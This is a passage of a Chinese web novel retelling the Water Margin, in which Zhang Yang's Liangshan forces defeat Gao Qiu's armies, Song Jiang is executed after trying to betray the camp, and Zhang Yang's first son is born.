二地到齐,已经是七月中旬,淮西王庆、河东田虎也趁地方守备空虚,大肆攻城略地。各地虽然奏书如雪片般递上,但都被王黼压下,徽宗并不知天下已经纷乱,仍是每天寻欢作乐。

高俅又得了五万援军,顿时气势大涨,加上王黼也几次催促,便召来众将,道:“现下我军兵多将广,正可大破贼人。只是前番计策,贼人恐已知晓,众人还有何计破贼?”

水军统制刘梦龙道:“既然贼人已经有所防备,我军索性便分作两队,从水陆分攻贼人巢穴。贼人若分兵守寨,陆上必然实力大减,正可在陆上先破他一阵。不然,水军也可捣毁贼人巢穴。”

梁中书也道:“盖王者之师,诚不以险谋诡计为胜算也。况大人麾下精兵强将如云,正面亦可大破贼兵,何需什么计策?”

云中雁门节度使韩存保忙道:“梁山贼人并不是山林狂寇,中间多有智谋勇烈之士,必用良谋,方可成功绩。”

高俅闻言,点头道:“本帅自有计策,明日我等可分兵两路,水陆同时进发,后日一起攻打梁山,贼人必然顾此失彼。”

次日,三军便一起拔寨而起。高俅又派了牛邦喜往水军协助刘梦龙,陆军则以梁中书做先锋。

张扬探的官军出兵,并不拦截。

高俅过的琳琅山,便下寨歇息。为防再蹈童贯覆辙,高俅令各营周围密布枪刀,四下深藏鹿角,三面掘下陷坑。

一宿无话,次日,高俅便尽起大军向梁山而来。由梁中书率北京禁军做先锋,王文德、杨温为左军,韩存保、李从吉为右军,项元镇,荆忠为后军,高俅自率两万禁军和拱州兵马做中军。

行了二十多里,便探的前面有梁山大军拦路。

高俅闻报,忙指挥大军一字排开,然后便缓缓逼近。梁山军马出现在地平线时,各军优劣便自然显露出来。北京、拱州、东京禁军明显缺乏战阵经历,看到前面黑压压的大军,脚步不由一滞,阵势便有些散乱了。

好在张扬旨在练兵,并未挥军冲杀。

高俅领军逼到梁山阵前二里,才扎住阵脚。

索超刚投张扬,正欲在众人面前显示手段,拍马到的张扬跟前,道:“末将愿打头阵。”

张扬也知索超武艺高强,闻言便也令其出战。

索超拍马出阵,喊道:“那个敢厮杀的出来打话。”

梁中书见梁山军马阵势严紧,也是吃了一惊。但见到索超出战,不由对一旁李成斥道:“这将原是你部下,不想却投了贼人。你去给我取他首级来,不然你也不用回来了。”

李成却知道索超武艺在自己之上,但也不得不硬着头皮去向高俅请战。

高俅自无不允之理,当下便教军中金鼓旗下发三通擂。

李成从门旗下飞马出阵,两军一齐呐喊。到的近处,李成却兜住马,喊道:“你食君禄,如何叛投贼人?若有无奈处,尽可说来。”

索超道:“天子昏晕,奸臣当道,我等岂可助纣为虐。”

李成又道:“朝廷大军已至,梁山覆灭在即,若你肯弃械归降,我可看在往日情分上,保你一命。不然骨肉为泥,悔之不及。”

索超也不想与李成厮杀,闻言道:“前番童贯也率十万大军来征,只一阵便片甲不留。将军若识机归顺,我可保你在山寨做个头领。”

李成还欲再说,却听后阵战鼓突转急促,知道高俅已经不耐,忙拍马来取索超。

索超见状,也只好挥斧迎住。

战了三四十合,李成便枪法散乱。

高俅在阵前见就要输的一将,忙道:“谁敢出阵拿此贼来?”

史文恭那日在曾头市走脱后,便投靠了高俅,闻言忙道:“小将愿往,启请钧旨。”

高俅也测试过史文恭,闻言点头道:“莫要堕了我军气势。”

史文恭拍马出阵,便要以二敌一。

晁盖在阵上见到史文恭,正是仇人见面,分外眼红,也不请示张扬,便拍马迎住史文恭。

二人硬拼一记,史文恭便觉虎口一痛,知道晁盖力大,便也展开戟法。此人招式便如毒蛇一般,招式快捷,尽往晁盖防守不到处招呼。待晁盖要封挡,他早攻向他处。

晁盖虽然天生神力,棒法却是一般。招架几合,便额头见汗了。

张扬早知晁盖要落败,见状便令关胜出战。

高俅也使一将出战,但关胜马快,抢先接住史文恭。晁盖也知自己不敌史文恭,便也去接住那将。

史文恭与关胜战了十几合,见他刀法精湛,知道急切胜不得他,逼开关胜,便打马往本阵逃去。

关胜见他武艺不在自己之下,虽然感觉他退的蹊跷,但艺高胆大,当下便也拍马追来。

史文恭听得关胜追来,便暗暗取下弓箭,翻身刚要射,却听战马一声嘶鸣,便往下倒去,史文恭知道一旦倒下去,便会被压在马下,任人宰割,也顾不得发箭,纵身便往一边越去。不想关胜马快,刚刚站稳身形,便被一刀削去大好头颅。

却是张扬恐史文恭再以毒箭伤了关胜,射了关胜战马一箭。

索超虽然不想难为原上官,但见首功被人夺走,也暴吼一声,把李成扫下马。

高俅见输了两将,又拨了数将。

张扬则派出林冲、呼延灼等大将,不多时,官军众将便纷纷败在梁山众头领手下。

高俅见战将胜不得梁山,便挥军杀来。

张扬指挥兵马混战几时,便鸣金收军。各将虽然疑惑,但也只好各自护着兵马,向军寨退去。

高俅见梁山军马开始撤退,不由大喜,忙令中军也加入追击。

追到军营外,在城上弓箭手雨点般的攻击下,官兵各军才止住追击。

第八十四章 天下大计

却说刘梦龙和牛邦喜带领水军,乘驾船只,到的梁山泊近处,却见茫茫荡荡,尽是芦苇蒹葭,中间只是些丈余宽水道。

进的水道,才知里面路径颇杂,两旁郁郁葱葱的芦苇也阻断了人们视线。这些水军都是生长在大江里,虽然水性颇佳,但却从未见过如此水道。若在平时,人们或许会惬意的戏水,再吟几句“曲径通幽处”的诗句,可在张扬故意令人传播梁山的战绩后,那芦苇便仿佛压在众人心上一般,令人压抑不已,只想快些出的芦苇荡。

刘梦龙见士卒都有惧色,也只好领军望着梁山快行。一万五千水军,便连成十余里水面。

正行之间,只听得山上一声炮响,四面八方,小船齐出,那官船上军士,先有几分畏惧,见芦苇里面埋伏的小船冲断大队!官船前后不相救应,大半官军更是心慌,未及交战,便都弃船而走。

李俊见官军阵脚乱了,便令水军全出,直冲上来。

刘梦龙和牛邦喜见状,急回船时,原来经过的浅港内,都被梁山泊好汉用小船装载柴草,填塞断了,那橹桨竟摇不动。

众多军卒见四下芦苇丛里,杀声震天,也不知埋伏有多少梁山好汉,都弃了船只下水逃生。

刘梦龙勒止不住士卒,又见梁山水军已经杀来,只好脱了戎装披挂,爬过水岸,拣小路走了。

牛邦喜却是不服水性,忙拉住两个要跳水的士卒,道:“你们助我逃生,回去我一定重谢二位。”

那二人闻言,商量了一下,便寻港汊深处摇去,以图躲过梁山水军围剿。

不到二里,却见前面三只小船拦住,船上是阮小二带着几人在此守株待兔。阮小二见有条大鱼来,便领着众人挨近船边来。

两个驾船军士见状,也再顾不得牛邦喜,“扑通”两声,都跳下水里去了。

牛邦喜自持钢刀,立在船头上要与阮小二交锋。

阮小二却也跳下水里去,其他士卒却各挺刀枪逼近身来。

牛邦喜刚要与梁山士卒厮杀,却觉脚下船只一晃,便被掀到水里。牛邦喜刚要挣扎,已被阮小二揪住双脚,拽到水里。不多时,牛邦喜便被灌的两眼翻白,腹胀如鼓。

阮小二见牛邦喜没了精力挣扎,便也托着他爬上船,径往大寨来交功。

张扬与众头领待高俅大军退走,也一起来大寨议事。

水军各头领纷纷报上战果,阮小二也解来牛邦喜。

牛邦喜却是个阿谀奉承之徒,进到屋子,见到这许多豪杰,早吓破了胆,双膝一软,便跪倒拜道:“小人愿归顺大王,还请留条残命。”

众人见他如此婢颜奴膝,顿时心生鄙夷。

张扬道:“我这里也不用你这样人,你给回去给高俅传话,便说梁山只要拿他狗头。”

牛邦喜听得自己可以回去,忙道:“一定把大王话带到。”

张扬知道众人多有疑惑,当下便令人把牛邦喜赶下山。

果然,牛邦喜刚出厅,董平便道:“今日北京禁军已经开始溃散,眼看便可突破官军阵势,寨主如何鸣金收军?”

张扬道:“我山寨兵多将广,破高俅军马,易如反掌。今日一战,只为练兵。各人回去反思一下,看看今日己部表现如何?”

众人闻言,只好各自散去。

待厅中只留下张扬、吴用和宗泽。

宗泽道:“各军闻金并未恋战,但撤退时却是各有高下。关胜、呼延灼、王焕、徐京几部便退而不乱,伤亡也较小,晁盖几部却是攻击强势,撤退却毫无章法。看来还需操练,才可成为精锐之师。”

张扬道:“不错,只是时间有限,只好让他们在战阵上磨合了。”

吴用笑道:“高俅要是知道自己被当作陪练,一定会落荒而逃。”

张扬道:“山寨兵马虽然在国内算的上精兵强将,但若与辽金交战,胜负孰难预料,因此各军要进退从容,日后方可往边疆建功。”

宗泽若有所思的道:“寨主莫非已经决定起兵?”

张扬道:“金国已经攻占辽国上京、东京和大半疆土,而当今天子却无心理政。不出三月,江南必然爆发起义,到时中原便已成四战之地。当今天下也只有我山寨可快速统一天下,与金国抗衡。军师还有别的选择吗?”

吴用闻言,不由喜道:“寨主所言甚是,王侯将相宁有种乎?山寨兵强马壮,正可趁势而起。”

宗泽叹了口气,道:“当今天子确实令人失望,四周又有强国虎视,说不得也只好再建新王朝了。”

张扬见宗泽终于点头同意起义,也是暗喜,笑道:“江南乃天下财赋所在,一旦江南起义扩大,朝廷必会调集西北精兵南下平乱。上次童贯来攻,把东京周边禁军抽调一空,事后又瞒了皇帝,至今未能补充。待西北精兵与江南起义军两败俱伤,山寨便可直接攻占东京和周边地区。而且山东各地乡兵也已除去,再有各州内应配合,也可短期攻下。不消一月,山寨声势便可超过各方,以山寨精兵强将,扫平天下指日可待。”

宗泽道:“东京城高河深,又有八万禁军守御,恐怕无法短期攻下,若四方勤王之师一到,恐怕山寨会陷入绝境。”

张扬笑道:“东京禁军不过徒有其表,城墙我已有法可破,现下山寨只要精炼兵马便可,等山寨兵马练妥,江南起义也便爆发了。明日起,你们便一起注意各军战阵表现,他们是日后扫平天下的主力。”

三人又商量了一番细节,这才各自散去。

~~~~~~~~~~~

明天课多,晚上。

第八十五章 再收精兵

高俅在梁山营寨外收住兵马,等候了半日,却见水军三三两两的从泊内逃了出来。才知水军已经战败,又见梁山军营城墙高耸,只好收兵回营。

回的军营,高俅计点马步军,折损并不多,只有水军折其大半,战船没一只回来;刘梦龙逃难得回,高俅心腹牛邦喜却下落不明;军士逃的快的回来,慢的尽做了俘虏。

高俅听完众人汇报,便道:“如今水军没了船只,却如何破的贼人。”

梁中书虽然折了手下李成,但见大军胜了一阵,对梁山的一丝畏惧也彻底消失。当下便道:“贼人不堪一击,何用水军。大人可令各军连夜赶制攻城器械,明日大军尽起,必可攻下贼人泊外营寨。贼人失了大部,必然仓皇逃窜,哪敢死守山寨。”

韩存保道:“贼人今日退的有些蹊跷,恐怕贼人有甚诡计。”

项元镇也道:“贼人军马并不弱于各军,今日若非其突然撤退,恐怕我军也占不得什么便宜。而且贼人伤亡并不大,我军还需小心贼人夜袭。”

高俅闻言,思及今日梁中书人马已经有些不支,自己正要派兵增援时,梁山却突然撤军,也感觉有些不对,正要说话间。却听帐外报来,牛邦喜回来了。

高俅令其进来,却见牛邦喜满脸污血,耳朵也已被人割去。

原来却是张扬恐他瞒了被俘之事,才令人割去双耳。

牛邦喜却是高俅心腹,对他以往事情多半知情,为了替自己报仇,进帐便跪倒在地,哭道:“今日一战,末将不幸被梁山贼人俘获,本欲以死尽忠。不想梁山贼首张扬却令人割了我双耳,让我回来传话,说大人乃祸国殃民奸臣,全仗阿谀逢迎圣上才有今日地位。大人那仇人林冲还道,前翻取了衙内性命,这次定要再取大人头颅。还有许多毁辱之言,末将不敢尽说。”

牛邦喜不过是想激怒高俅,为自己报仇,不想居然还真猜中几分。

高俅听得儿子仇讯,不由心头大恨,刚才忧虑也都抛在脑后,喝道:“贼人如此可恶,天兵到此,不思投降,反辱朝廷大臣,实在该杀。各军回去连夜赶制攻城器械,明日定要活捉贼首,千刀万剐,方消我恨。”

众人见高俅盛怒,也不敢多言,只好各自回营安排。

韩存保几人也广派明哨暗岗,以防梁山军马袭营。

一夜无话,次日一早,高俅便尽起大军前来搦战。

到的城下,便见五万大军在城下列阵相候。

高俅也是吃一堑,长一智,并未派将搦战,一通战鼓罢,便令王文德、杨温、韩存保、李从吉、项元镇、荆忠六路节度使带兵马冲来。

张扬在城上见了,便也亲自击鼓令城下五军冲锋。

晁盖几军便也又与官军混战在一起,正杀得难分难解之际,城上却又响起了鸣金声,晁盖几人只好再次撤退。不过这次撤退明显有了些掩护,不再是各自逃命。

高俅见状,则是传令各军一起冲来,希望趁势攻下军营。

项元镇追着晁盖进入城内,见四下已经开始混战,忙领人向通往城头的甬道奔去,到的城墙边,却发现甬道早已被堵死。

项元镇刚觉不妥,便听城门处一声巨响,城门已经堵死。

却是张扬见晁盖五军与缠战的六路节度军马已经进入营寨,便令人放下千斤闸,强行堵死了城门。接着城内一声炮响,城内埋伏的数万兵马也一起冲出,开始围剿官军。

张扬见城内大势已定,便令城头弓箭手开始攻击,密集的弓弦声便在城头响起。无数箭矢冲天而起,使得天空都猛地一暗。

高俅的后队大军瞬时被箭雨覆盖,无数的士卒惨叫着倒下,瞬即被后面军马踏过。

梁山弓箭手却是采用的类似三段击的射法,把全部弓箭手分作了五队,在号旗的指挥下,轮流射击。

于是战场便出现了一张断断续续的箭幕,只要进入弓箭手覆盖范围,便会遭到接连不断的攻击。后面的士兵见前面的士兵不断倒下,城门又已被堵住,那还敢再往前冲,纷纷驻足观望。

高俅见状,忙令中军弓箭手上前压制城头。但梁山兵马占了地利,弓箭手的射程也在官军之上,官军所余兵马又是未经战阵的东京禁军。好半天,中军弓箭手才在盾手掩护下,磨蹭到可以威胁到城头的位置,开始还击。

高俅见城头箭雨稍稀,便令后军用云梯开始攻城。

但不多时,云梯便被破坏殆尽,官军没了登城器械,只好又退到弓箭手射程外。

高俅听得城内杀声渐弱,也是大急。

梁中书却有些胆怯了,禀道:“我军已无攻城器械,不若暂且退去。我听的东京有炮手,可以攻击数里远处,石炮落处,天崩地陷,山倒石裂。大人何不调炮手来,再报此仇。”

高俅道:“那城内军马如何解救?”

梁中书道:“那些节度都是草寇出身,怕不早与贼人暗通款曲,大人不见那前面降了的四部吗?此番正好除去内患。大人再调些东京禁军来,上下一心,何愁狂寇不灭?若他们能削弱贼人实力也正好大人建功,我们只在城外虚张声势,使其在城内死斗也好。”

高俅闻言,也是心动不已,当下便令鼓手齐鸣,同时令士卒喊杀。这些士卒见不用冒死攻城,自然不吝嗓子。一时间,城外是杀声震天,城内官兵闻声,也是士气大涨,纷纷聚拢到一起对抗梁山军马。

张扬见官兵没了攻城器械,已无法造成威胁,便令武松指挥城头弓箭手与官兵对射。环视了城内一遍,见官军都已围成一个个小团开始防守。便纵身跳下城头,朝最近的项元镇攻去。

项元镇听得城外杀声复振,也生出些希望。但梁山兵马势大,只能指挥着身边兵马缓缓汇合旁边抵抗的士卒,刚刚收拢了几百残兵,却见城头跃下一人,便直接向自己冲来。一条金枪左挑右拨,瞬间便打开了一个缺口。

梁山士卒见张扬突破圆阵,便也跟着张扬开始扩大缺口。

张扬打开缺口后,更是枪作棍使,几个横扫便打散了圆阵。

项元镇见状,忙挺枪来战张扬。

张扬侧身闪过项元镇钢枪,欺身便闪到项元镇身前,擒了项元镇,张扬把项元镇丢给身后士卒。如法炮制,又擒了几个抵抗的大将,城内官兵便也纷纷降了。

张扬把项元镇几人带到城头,指着城外虚张声势的官兵,道:“你们在此卖命,看看高俅却是如何戏弄你等。”

项元镇几人看着城外光景,也是大为愤怒。

王焕众人又趁机劝了一阵,众人便也都降了。

高俅听得城内安静下来,才带兵回寨。

张扬也不派兵追击。

第八十六章 宋江之死

张扬收降六节度兵马后,便令人从山上运送酒食安抚各军。

宋江听的山下张扬大胜官军,也是大喜,安排人运送酒食后,便招来兄弟宋清,道:“我们的机会来了,等下我便下山联系高太尉,你我兄弟帮助高太尉取了山寨,到时又何愁无权无势。”

宋清奇道:“你我手上又无兵马,如何能成此事?”

宋江笑道:“你不是正管着酒食吗,我们寻个借口,把山寨众头领请来赴宴,再以迷药迷翻他们,山寨兵马群龙无首,必然无法抵挡高太尉大军。”

宋清闻言,也知道此事成功率很高,但旋又疑惑道:“昨日高太尉得胜,哥哥如何不思此计,反在他战败后,才去投靠。”

宋江摇头道:“高太尉得意时,岂会看得起你我。只有等其困窘时,才显你我可贵啊。”

宋清道:“话虽如此,但张扬雄才伟略,泊外又有十数万精兵。即使高太尉攻下山寨,也未必胜得张扬啊。”

宋江却是早计算了多时,闻言道:“泊外粮草并不多,张扬若失了山寨粮草,即使有通天之能,恐怕也无法控制那许多虎狼之士吧。何况其中又有许多朝廷降将,到时也许不用高太尉动手,张扬便被擒获了。而且他妻妾都在山寨,只要我们掌握了她们,他又哪有不降之理。”

宋清听的哥哥把注意打到张扬妻小身上,为难道:“张扬待我们不薄,若以他妻小相胁恐怕不妥吧。”

宋江也知道宋清还有些良知,生恐他露出破绽,拍了拍宋清肩膀,道:“那不过是最后手段,而且我们使他投效朝廷,于他也无甚坏处。兄弟也务须多想,一切自有为兄安排。”

宋清也知道哥哥对权利有些走火入魔,但又不想伤了兄弟感情,闻言只好点点头。

当下,宋江便以清点钱粮为由,要了条小船独自出泊。看看天色发暗,才往高俅大营潜去。

一路并无险阻,宋江到的高俅营门口,才被两个哨兵拦住。

那哨兵见是一个黑矮汉子,便道:“此乃军营,不是你这等村夫乡民该来的地方,快些回去吧,免得被人当奸细捉了。”

宋江拱手道:“麻烦小哥通报一声,便说有人送破梁山之计来了。”

那哨兵盯着宋江,看了一阵,见他其貌不扬,摇头道:“这却不是耍处,你还是回去吧,等下便要换岗了,其他人看见你,多半得当奸细捉了。”

宋江闻言,忙道:“小哥帮帮忙,我却有计策破贼,还请通报一二。”

二人正说间,却见一个巡营牙将带兵走了过来。

那牙将到的近处,见宋江未穿官兵衣甲,便喝道:“那黑矮汉子是何人?”

哨兵见上官来到,也顾不得宋江了,忙道:“他自称有破梁山计策,要见太尉大人。”

那牙将看了一阵宋江,见其并无惧色,便道:“你跟我来吧。”

宋江谢过牙将,跟着他直往中营走来。行不多远,便听的一阵鼓乐之声。

那牙将领着宋江到的大帐外,吩咐宋江稍等,便进的大帐禀告。

高俅正与梁中书在大帐亵玩歌儿舞女时,听的牙将报,有人自称可以攻破梁山大寨,便令人请了进来。

宋江进的大帐,见高俅二人在军营纵酒狂欢,也是暗自鄙夷。但为了自己今后前程,还是拜倒道:“犯吏宋江,拜见太尉大人。”

高俅看了眼宋江,道:“你有何计策破贼啊?”

宋江道:“小吏因误伤人命,被逼落草,兄弟宋清正掌管梁山宴饮,可伺机迷翻梁山众贼首。大人再发兵从水路攻打梁山,群贼无首,必然无法抵敌。”

梁中书部下全是马步军,深恐水军抢了功劳,闻言道:“梁山马步军不过是些乌合之众,破之容易。必是贼人恐我再次攻打营寨,才欲赚我等从水路进攻。大人可斩了此人,明日让人送往梁山大营,让贼人也知大人慧眼。”

宋江见高俅心动,忙道:“张扬智勇双全,此番败的蹊跷,大人明鉴。”

梁中书闻言,喝道:“好一个梁山贼子,果然是桀骜不驯之徒。明明是不敌我军,何来蹊跷之说。大人不用听他胡言,但等东京炮手一到,便可夷平梁山,何需冒险。况且水军也没了船只,没数月之功如何能造出许多船只来,东京却是风云变幻。若在此耽搁久了,恐受人诘难。”

高俅只是每日陪伴天子戏耍,才保的圣眷不衰,前番求援,听的王黼与童贯各有所得,便有些担心自己势力受损。梁中书此言正说中高俅心病,当下喝道:“大胆梁山贼子,胆敢来此诈降,给我拖出去斩了,明日送往梁山大营警示贼人。”

宋江闻言,刚欲辩白,帐外士卒已冲了进来,不待他开口,便拖了出去。不多时,远处便传来一声惨叫。

时迁却是受命监视宋江,一路跟其到的高俅大营,等了一宿,不见其出来,便往大营报告张扬。

张扬听的宋江去了高俅大营,不由叹了口气,想了一下,知道宋江也只能打山寨主意,便令人招来叶春。

此人便是水浒中帮高俅造海鳅船之人。只是张扬掌管梁山后,并不令人下山劫掠,叶春没被梁山洗劫,却被东平府贪官洗劫一空,因此才投了梁山。

叶春投靠梁山后,便献出了多种战船图样,只是梁山工匠有限,无法大规模生产,一直引以为憾。

二人见过礼,张扬便道:“今番你却有机会一展所长了,你先去准备海鳅船图样。等高俅招募船师时,你便去应征。待其建好船只,山寨正好夺来。”

叶春听的自己可以大展所长,也是大喜,也不细问,行了个礼,便去准备。

张扬又对时迁道:“你往山寨监视宋清,宋江回山后,你也给我送个信。”

时迁接令,自回山寨。

张扬虽然恨宋江背叛,但也希望他可以成功,好使高俅替自己建造战船,以免自己将来劳民伤财。

正考虑间,却见亲兵捧着一个头颅进屋,报道:“官兵送来宋江头领首级,还有许多污言秽语。”

张扬见宋江一副死不瞑目的样子,不由也叹了口气,道:“你去送到山寨宋清头领处吧,便说宋江让我很失望,他的职位由朱富接替。”

那亲兵闻言,便也提着宋江首级送往山寨。

张扬待那亲兵出屋,不由暗骂:既不安分,又无本事,让自己白筹划一番,看来战船还得自己想法了。

张扬正考虑如何让高俅替自己造船时,却见晁盖悲愤的冲了进来。张扬不待其说话,便道:“宋江咎由自取,你去宋清处问问他需否我出兵?”

晁盖闻言,愣道:“宋清一定会让寨主出兵啊。”

张扬道:“你去看看宋江头颅再说吧。”

说完便拿起一本兵书,翻了起来。

晁盖见张扬不再理自己,也有些不明白张扬的意思,只好去山寨找宋清询问。

宋清正在安排宴席时,见张扬一个亲兵提着一个首级进来,不由一愣,等看清是自己兄长头颅,不由放声痛哭。

亲兵放下宋江首级,又道:“头领节哀,今日宋头领首级被官兵抛到营门外。寨主说宋头领让他很失望,你的职位已有朱富头领接任。”

宋清本以为是张扬识破他们计划,杀了自己兄长,闻言才知哥哥是死于官兵之手,而张扬也已知晓自己兄弟想要背叛了。想到张扬平日对自己兄弟的礼待,不由更是惭愧。

正羞惭间,却见晁盖也上山而来。

晁盖看到宋江头颅,也是大悲,哭了一阵,想起张扬言语,问道:“今日我本要带兵给你兄长报仇,寨主却让我来问你意思。兄弟只要说一句话,我便再去请寨主发兵。”

宋清闻言,羞道:“我哥哥是咎由自取,小弟本欲以死赎罪,只是怕家中老父无人奉养,才不得不苟且偷生。但小弟也没面目再见众头领了,这便带家父下山,请晁兄长代我转告寨主,便说宋清来世愿重做寨主兄弟。”

晁盖闻言,不由更摸不着头脑,还欲再问宋清,却被赶来的吴用拉住。

宋清对吴用行了一礼,抱起宋江头颅,便带着老父下山而去。

吴用也把宋江背叛之事告诉晁盖,晁盖虽然有些不信,但见吴用和张扬都是此意,也不好再提报仇之事。

第八十七章 再败高俅

七月正是炎威正盛之时,梁山大寨的一个独院却也颇有几分热火朝天的样子,侍女不断的在院内穿梭着,更换着热水。

听着屋内温莲声嘶力竭的喊叫,张扬首次泛起无力的感觉。在这个冷兵器时代,自己可以独闯千军,但现在却无法帮心爱的人减轻哪怕一丝痛苦。

扈三娘也已怀胎六月,肚子已经高高隆起,只是听得温莲分娩,才挺着肚子在院外等待。听着温莲痛苦的喊叫,想到不久自己便也要分娩,不由害怕不已。但见张扬一脸着急,便缓缓走到张扬身前,柔声道:“夫君不用急,姐姐一定会平安生下孩子的。”

张扬扶住三娘,见三娘眼中也是充满忧急,似乎还有些畏惧,只是面上装的镇定,也知道她是在安慰自己,勉强笑道:“恩,天气炎热,你先回屋休息吧,等孩子出世,我再去叫你。”

二人正说间,屋内已经传出一声嘹亮的婴啼。

张扬忙扶着扈三娘进了屋子。

接生婆见张扬进来,便上前邀功,道:“恭喜寨主,是个公子。”

张扬倒不是太在乎男女,闻言道:“每人赏银十两,你们去找小月领吧。”

接生婆听的赏银如此丰厚,忙施了一礼,自去去找管家小月。

张扬走到床边,看着筋疲力尽的温莲,不由更加怜惜。接过侍女手边的毛巾,给温莲擦拭着额头上的汗珠。

温莲触到张扬温柔的眼神,也是满足不已,笑道:“夫君,我想看看我们的孩子。”

张扬闻言,忙让侍女把孩子抱来。

张扬接过孩子,看着这个世界第一个和自己有血缘关系的人,也是激动不已。无奈儿子却并不给他面子,刚刚进入张扬臂弯,便开始放声痛哭。

温莲听着儿子哭泣,便要挣扎着起身。

张扬见状,忙一手抱住儿子,一手扶温莲靠坐在床上。

温莲接过孩子,轻轻摇晃了几下,孩子便也停止了哭泣。温莲虽然平日温顺,但也希望可以生下一个儿子,将来继承张扬的事业。看着可爱的儿子,也是满足不已,问道:“夫君给儿子取好名字了吗?”

张扬笑道:“当然,这可是我们的第一个孩子,便叫他振国吧,希望他将来可以振兴国家。”

温莲见张扬对儿子寄予如此厚望,也是满意不已。

张扬见温莲已经疲惫不已,便也道:“你先歇息吧,明日我们再聊。”

温莲闻言,便也恋恋不舍的把孩子交给侍女。

张扬扶着温莲躺下,才与三娘一起出的院子。

张扬也趁高俅待援,留在山上,与六女聊天解闷。不几日,二乔、甄氏便也为张扬生下三子。

却说王黼接的高俅求援信,便拨御营司二将带兵去援高俅。二人却是护驾将军丘岳和车骑将军周昂。这两人也是久经战阵,深通武艺,又是高太尉心腹之人。两人在东京拣选了许久,才择出一万兵马。

炮手却是由轰天雷凌振率领,此人擅造飞炮,更兼武艺精熟。

三人受了行军统领官文凭,便教收拾鞍马军器起身。

不几日,便到的高俅大营,三人往大帐参见了高俅,高俅亲赐酒食,抚慰已毕,一面差人赏军,一面管待三人。

席间,周昂便请太尉将令,要引军去搦战。

高俅虽然也想早回京师,但也知道兵马远来疲惫,不可再役使,闻言道:“周将军且休整一日,明日大军尽起,一鼓可平贼寇。”

丘岳、周昂、凌振禀道:“某等觑梁山泊草寇,如同儿戏,太尉放心,必然奏凯还京。”

高俅道:“你等若果应口,吾当奏知天子前,必当重用。”

至晚方才宴散。

次日,高俅便领大军向梁山大寨而来。

张扬也已探的高俅援军到来,早领了十万兵马在旷野处摆开阵势。

两军对阵,周昂却要逞功劳,拍马到的高俅身前,道:“末将愿出阵取几个贼人首级来,也杀杀贼人气焰,乞请钧旨。”

高俅也知周昂武艺过人,当下便叫他出马。

周昂拍马出阵,喊道:“草贼敢战吾么?”

索超见周昂正与自己用的一般兵器,便拍马抢道:“末将愿与他决一雌雄,请寨主赐令。”

张扬对他倒也放心,点头令他出战。

索超接令,便拍马直取周昂。

二人使的却都是金蘸斧,又都是性格急躁之辈,照面也不答话,便搅做一处。招式也都是大开大合,二人又不愿示弱,尽是硬挡死磕。战场外只听得一阵金铁交鸣之声。

三十多合后,二人战马便都口吐白沫,速度大减。

索超斗的兴起,勒马停住,喝道:“你可敢换马再战?”

周昂也道:“此言正合吾心,今日一定要见个输赢。”

两人拍马回阵,各自换过马,又斗了几十合,尚未分出胜负,战马已经又显不支。

二人斗到此,也都有些不耐,齐喝一声,便踢马撞去。

到的近处,周昂便挥斧疾扫向索超。

索超却是行险一搏,偏身翻下马,正避过周昂来斧,同时手中金斧也扔向周昂脑袋。

周昂没想到索超敢把兵器脱手,欲躲时,金斧已经砸中脑袋,当场落马身死。

高俅见输了一将,也不敢再派大将,挥军便冲来。

张扬见状,也不留预备兵,挥动号旗,便令全军突击。张扬更是一马当先的带着亲军,向高俅帅旗所在地冲去。

首当其冲的士兵刚要递出长枪,却见张扬抖手刺出数点金光,当先的几个士兵便应枪而倒。冲开一个缺口后,张扬更是左挑右刺,手下并无一合之将。身后亲兵也是锐不可当,不断扩大着缺口。

高俅见一只军马势如破竹的向自己冲来,忙令党世英带军去阻挡张扬。

张扬见一将带军冲来,大喝一声,手里霸王枪使得更疾,所过之处顿时形成一个半径丈余空地。

党世英见张扬如此威势,哪还敢亲身上前,马头一拨,便往张扬侧翼冲去。其他士兵自然也有样学样。

张扬则认准高俅帅旗猛冲。

高俅见状,不由大骇,再顾不得督阵,领着党世雄和一万中军便往大寨逃去。

两翼军马本来便在勉力支撑,见中军逃跑,便也开始溃散。

张扬带军追杀了几里,便鸣金收军。

第八十八章 假托天意

高俅带兵逃回大寨,又恐梁山趁势来攻,留党世雄收拢残军,便先逃向济州。党世雄却也不敢逗留,勉强收拢了几万残军,便也带队逃到济州。

梁中书却是险些被林冲生擒,幸得张扬及时收兵,才逃出生天。到的济州见到高俅便道:“贼人凶猛,我麾下的大刀闻达今日也死于贼人手下,兵马更是折损甚多,太尉得再搬援兵方可剿灭贼人。”

高俅也是惊魂甫定,闻言摇头道:“我亦如此想,只是上次夸口一战便可剿灭梁山贼人,怎好再次求援?而且京师有那许多言官,若不断求援,若让他们知晓,定有不怕死的弹劾,若惊动了天子,也总是不妥。我们且看看还剩多少兵马再说。”

至晚,党世雄才报来:“各部虽然被打散,但伤亡并不大,还有近七万兵马。”

高俅闻言,也松了口气,道:“众人还有何计策破贼?”

马步军众将今日一战都已胆落,闻言也没人敢应声。

刘梦龙却是空有几千手下,却无用武之地,见机不可失,便道:“贼人马步军凶猛,但水军却是乌合之众。上次我部只是不识梁山水势,才输了一阵。若大人能打造一批战船,末将必可攻破贼人山寨。”

高俅见马步军众将躲闪的眼神,也知道他们不济了,见刘梦龙敢再战,也只好死马当活马医,当下便令附近州县,拘刷造船匠人,就济州城外,搭起船场,打造战船;一面出榜,招募敢勇水手军士。

张扬击败高俅大军便是要让他造船,正要让叶春去济州献计造船时,却听的高俅已经开始招募水手。张扬又等了几日,便让叶春来济州献船。

高俅见叶春战船威力巨大,当下便叫取酒食衣服赏了叶春,又让他做了监造战船都作头。

高俅又使人日夜催促,砍伐木植,限日定时,要到济州交纳。山东各府州县,均派合用造船物料。如若违限二日,笞四十,每一日加一等;若违限五日外者,定依军令处斩。各处逼迫守令催督,百姓亡者众多,一时间山东是民怨沸腾。

张扬则趁机整编各队,并让新降官兵熟悉梁山军法。

九月又派武松去“请”赵明诚夫妇,得知他们已经到了泊外,张扬便带吴用、宗泽亲自往金沙滩迎接。

赵明诚本来正与李清照在家乡研究金石时,却被武松拿刀请来梁山。赵明诚家乡便在青州,对梁山所作所为自然也十分清楚,倒也并不是十分担心自己安危,只是对张扬请自己有些不解。

看看到的梁山,赵明诚才拍了拍尚沉迷在芦苇荡中的李清照,道:“前面便是梁山了,若那张扬逼我们落草,说不得这便是我们相聚的最后一天了。”

李清照醒神,见丈夫一脸决然,安慰道:“梁山张扬仁义广播,应该不会难为我们,也许他有什么要请教夫君呢。”

